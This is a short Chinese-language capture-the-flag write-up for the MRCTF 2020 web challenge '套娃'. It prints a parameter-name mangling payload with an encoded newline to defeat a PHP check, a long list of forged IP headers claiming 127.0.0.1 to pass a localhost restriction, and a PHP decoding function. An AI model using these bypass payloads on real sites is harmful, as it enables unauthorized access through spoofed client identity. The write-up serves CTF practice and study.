> For the complete documentation index, see [llms.txt](https://gitbook-88.gitbook.io/ctf-writeup/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://gitbook-88.gitbook.io/ctf-writeup/2020/2020-mrctf/tao-wa.md).

# 套娃

第一层，利用PHP获取变量自动转化为合法值以及弱类型比较：

```
b u p t=23333%0a
b[u[p[t=23333%0a
```

提交之后爆了400，问了一下是靶机的问题，直接跳过这步去下一步了。

第二步jsfxxk，post就可以到后面了。

第三步ip头混淆+php逆向，发个混淆：

```
X-Forwarded-For: 127.0.0.1
X-Forwarded: 127.0.0.1
Forwarded-For: 127.0.0.1
Forwarded: 127.0.0.1
X-Forwarded-Host: 127.0.0.1
X-remote-IP: 127.0.0.1
X-remote-addr: 127.0.0.1
True-Client-IP: 127.0.0.1
X-Client-IP: 127.0.0.1
Client-IP: 127.0.0.1
X-Real-IP: 127.0.0.1
Ali-CDN-Real-IP: 127.0.0.1
Cdn-Src-Ip: 127.0.0.1
Cdn-Real-Ip: 127.0.0.1
CF-Connecting-IP: 127.0.0.1
X-Cluster-Client-IP: 127.0.0.1
WL-Proxy-Client-IP: 127.0.0.1
Proxy-Client-IP: 127.0.0.1
Fastly-Client-Ip: 127.0.0.1
True-Client-Ip: 127.0.0.1
```

逆向比较简单：

```
function re($file) {
        $re = '';
        for ($i = 0; $i < strlen($file); $i++) {
            $re .= chr (ord ($file[$i]) - $i * 2);
        }
    return base64_encode($re);
}
```